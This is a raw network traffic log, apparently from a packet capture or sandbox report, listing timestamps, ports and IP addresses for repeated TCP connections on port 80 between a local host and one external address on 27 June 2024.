Jun 27, 2024 07:38:39.491954088 CEST	80	49788	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:40.172909021 CEST	80	49788	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:40.172971964 CEST	49788	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.176531076 CEST	49788	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.176871061 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.181739092 CEST	80	49788	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:40.181756020 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:40.181792021 CEST	49788	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.181852102 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.182162046 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.187412024 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:40.871725082 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:40.871803045 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.981923103 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.982134104 CEST	49790	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.986989975 CEST	80	49790	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:40.987072945 CEST	49790	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.987257004 CEST	80	49789	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:40.987373114 CEST	49789	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.987826109 CEST	49790	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:40.992609978 CEST	80	49790	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:41.653008938 CEST	80	49790	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:41.653629065 CEST	49790	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:41.656070948 CEST	49790	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:41.656357050 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:41.661125898 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:41.661319017 CEST	80	49790	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:41.661391020 CEST	49790	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:41.661586046 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:41.661587000 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:41.666426897 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:42.330658913 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:42.331083059 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:42.449923038 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:42.450308084 CEST	49792	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:42.455224991 CEST	80	49791	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:42.455243111 CEST	80	49792	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:42.455286980 CEST	49791	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:42.455321074 CEST	49792	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:42.455578089 CEST	49792	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:42.460292101 CEST	80	49792	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:43.133760929 CEST	80	49792	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:43.133892059 CEST	49792	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.136497974 CEST	49792	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.136727095 CEST	49793	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.141499996 CEST	80	49793	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:43.141617060 CEST	49793	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.141645908 CEST	80	49792	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:43.141685009 CEST	49792	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.141803980 CEST	49793	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.146473885 CEST	80	49793	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:43.829329014 CEST	80	49793	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:43.829401970 CEST	49793	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.935113907 CEST	49793	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.935406923 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.940289974 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:43.940371037 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.940552950 CEST	80	49793	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:43.940603971 CEST	49793	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.940849066 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:43.945671082 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:44.636636019 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:44.636694908 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:44.639401913 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:44.639724016 CEST	49795	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:44.644484997 CEST	80	49795	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:44.644588947 CEST	80	49794	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:44.644607067 CEST	49795	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:44.644630909 CEST	49794	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:44.644762993 CEST	49795	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:44.649518013 CEST	80	49795	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:45.318336964 CEST	80	49795	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:45.318412066 CEST	49795	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:45.433692932 CEST	49795	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:45.434017897 CEST	49796	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:45.439110041 CEST	80	49796	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:45.439208031 CEST	49796	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:45.439454079 CEST	49796	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:45.439790964 CEST	80	49795	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:45.439884901 CEST	49795	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:45.444329977 CEST	80	49796	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:46.129986048 CEST	80	49796	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:46.130055904 CEST	49796	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.137056112 CEST	49796	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.137660027 CEST	49797	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.142370939 CEST	80	49796	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:46.142421961 CEST	49796	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.146410942 CEST	80	49797	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:46.146483898 CEST	49797	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.147291899 CEST	49797	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.153155088 CEST	80	49797	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:46.824709892 CEST	80	49797	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:46.825088978 CEST	49797	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.934488058 CEST	49797	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.934900045 CEST	49798	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.940956116 CEST	80	49798	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:46.941041946 CEST	49798	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.941063881 CEST	80	49797	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:46.941142082 CEST	49798	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.941246033 CEST	49797	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:46.945837021 CEST	80	49798	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:47.632324934 CEST	80	49798	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:47.632633924 CEST	49798	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:47.636755943 CEST	49798	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:47.637157917 CEST	49799	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:47.642070055 CEST	80	49799	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:47.642096996 CEST	80	49798	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:47.642137051 CEST	49799	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:47.642162085 CEST	49798	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:47.642421007 CEST	49799	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:47.647181988 CEST	80	49799	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:48.521931887 CEST	80	49799	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:48.521998882 CEST	49799	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:48.637164116 CEST	49799	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:48.637382030 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:48.642158985 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:48.642267942 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:48.642369032 CEST	80	49799	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:48.642426014 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:48.642447948 CEST	49799	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:48.647646904 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:49.330867052 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:49.331041098 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:49.334064960 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:49.334480047 CEST	49801	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:49.339370966 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:49.339411020 CEST	80	49801	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:49.339463949 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:49.339498997 CEST	49801	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:49.339797020 CEST	49801	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:49.344578028 CEST	80	49801	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.043368101 CEST	80	49801	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.043462038 CEST	49801	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.154613972 CEST	49801	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.155039072 CEST	49802	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.160643101 CEST	80	49801	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.160664082 CEST	80	49802	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.160758018 CEST	49801	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.160816908 CEST	49802	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.161267042 CEST	49802	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.166591883 CEST	80	49802	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.837501049 CEST	80	49802	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.837713003 CEST	49802	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.840776920 CEST	49802	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.841121912 CEST	49803	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.848834991 CEST	80	49802	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.848920107 CEST	49802	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.849385977 CEST	80	49803	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.849455118 CEST	49803	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.849711895 CEST	49803	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.853826046 CEST	49803	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.855488062 CEST	80	49803	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:50.855547905 CEST	49803	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:50.965755939 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.176583052 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:51.176671028 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.177155018 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.183789968 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:51.852623940 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:51.852689981 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.859024048 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.859304905 CEST	49805	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.864201069 CEST	80	49805	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:51.864233971 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:51.864315033 CEST	49805	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.864336014 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.864578962 CEST	49805	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:51.873097897 CEST	80	49805	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:52.555396080 CEST	80	49805	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:52.555576086 CEST	49805	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:52.668762922 CEST	49805	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:52.669085979 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:52.673902035 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:52.673964977 CEST	80	49805	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:52.674036980 CEST	49805	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:52.674050093 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:52.674326897 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:52.679160118 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:53.359203100 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:53.359282017 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:53.361686945 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:53.362021923 CEST	49807	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:53.366859913 CEST	80	49807	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:53.366944075 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:53.366991997 CEST	49807	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:53.367016077 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:53.367149115 CEST	49807	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:53.371937037 CEST	80	49807	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:54.061899900 CEST	80	49807	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:54.061980009 CEST	49807	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.167875051 CEST	49807	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.168154955 CEST	49808	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.173032999 CEST	80	49808	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:54.173094034 CEST	80	49807	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:54.173104048 CEST	49808	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.173146009 CEST	49807	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.173367023 CEST	49808	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.178152084 CEST	80	49808	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:54.849744081 CEST	80	49808	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:54.849813938 CEST	49808	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.852230072 CEST	49808	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.852526903 CEST	49809	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.858794928 CEST	80	49809	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:54.858872890 CEST	49809	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.858997107 CEST	80	49808	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:54.859098911 CEST	49808	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.859180927 CEST	49809	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:54.864013910 CEST	80	49809	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:55.562154055 CEST	80	49809	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:55.562215090 CEST	49809	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:55.669147015 CEST	49809	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:55.669538021 CEST	49810	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:55.674391985 CEST	80	49809	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:55.674429893 CEST	80	49810	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:55.674455881 CEST	49809	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:55.674505949 CEST	49810	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:55.674772024 CEST	49810	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:55.679579973 CEST	80	49810	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:56.338176012 CEST	80	49810	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:56.338264942 CEST	49810	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:56.341171980 CEST	49810	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:56.341511965 CEST	49811	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:56.346298933 CEST	80	49810	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:56.346359015 CEST	80	49811	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:56.346371889 CEST	49810	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:56.346422911 CEST	49811	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:56.346677065 CEST	49811	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:56.351804018 CEST	80	49811	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:57.021408081 CEST	80	49811	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:57.021482944 CEST	49811	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.137264967 CEST	49811	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.137753963 CEST	49812	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.142991066 CEST	80	49811	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:57.143033028 CEST	80	49812	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:57.143095016 CEST	49811	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.143117905 CEST	49812	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.143465042 CEST	49812	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.151015997 CEST	80	49812	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:57.821886063 CEST	80	49812	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:57.821957111 CEST	49812	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.825380087 CEST	49812	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.825706005 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.830601931 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:57.830662012 CEST	80	49812	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:57.830671072 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.830714941 CEST	49812	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.830838919 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:57.835715055 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:58.518568993 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:58.518691063 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:58.640858889 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:58.641108036 CEST	49814	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:58.645956993 CEST	80	49814	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:58.646222115 CEST	49814	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:58.646509886 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:58.646568060 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:58.646945000 CEST	49814	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:58.651742935 CEST	80	49814	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:59.313754082 CEST	80	49814	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:59.313822985 CEST	49814	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:59.316365004 CEST	49814	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:59.316729069 CEST	49815	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:59.321554899 CEST	80	49814	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:59.321615934 CEST	80	49815	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:59.321620941 CEST	49814	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:59.321681976 CEST	49815	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:59.321964979 CEST	49815	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:59.326809883 CEST	80	49815	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:00.002774000 CEST	80	49815	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:00.002851963 CEST	49815	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.122419119 CEST	49815	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.122991085 CEST	49816	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.127818108 CEST	80	49816	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:00.127888918 CEST	49816	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.127966881 CEST	80	49815	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:00.128016949 CEST	49815	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.128241062 CEST	49816	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.133029938 CEST	80	49816	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:00.806432009 CEST	80	49816	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:00.806664944 CEST	49816	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.811263084 CEST	49816	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.811589003 CEST	49817	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.816570997 CEST	80	49817	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:00.816603899 CEST	80	49816	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:00.816663980 CEST	49817	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.816694021 CEST	49816	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.817147970 CEST	49817	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:00.822021961 CEST	80	49817	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:01.504843950 CEST	80	49817	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:01.504936934 CEST	49817	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:01.630713940 CEST	49817	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:01.630970001 CEST	49818	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:01.636188030 CEST	80	49817	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:01.636249065 CEST	49817	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:01.636346102 CEST	80	49818	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:01.636413097 CEST	49818	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:01.636580944 CEST	49818	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:01.641925097 CEST	80	49818	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:02.305821896 CEST	80	49818	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:02.305893898 CEST	49818	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:02.494918108 CEST	49818	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:02.495260000 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:02.500225067 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:02.500338078 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:02.500420094 CEST	80	49818	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:02.500488997 CEST	49818	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:02.500822067 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:02.506547928 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:03.170985937 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:03.171076059 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.277390957 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.277650118 CEST	49820	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.282722950 CEST	80	49820	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:03.283200026 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:03.283297062 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.283308983 CEST	49820	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.283495903 CEST	49820	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.288260937 CEST	80	49820	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:03.958987951 CEST	80	49820	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:03.959297895 CEST	49820	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.964982986 CEST	49820	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.965265989 CEST	49821	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.970140934 CEST	80	49821	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:03.970212936 CEST	49821	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.970268965 CEST	80	49820	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:03.970324039 CEST	49820	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.970546007 CEST	49821	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:03.975327015 CEST	80	49821	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:04.769670010 CEST	80	49821	147.45.47.155	192.168.2.5
Jun 27, 2024 07:39:04.769742966 CEST	49821	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:04.896507025 CEST	49821	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:04.896807909 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:39:04.901638985 CEST	80	49822	147.45.47.155	192.168.2.5
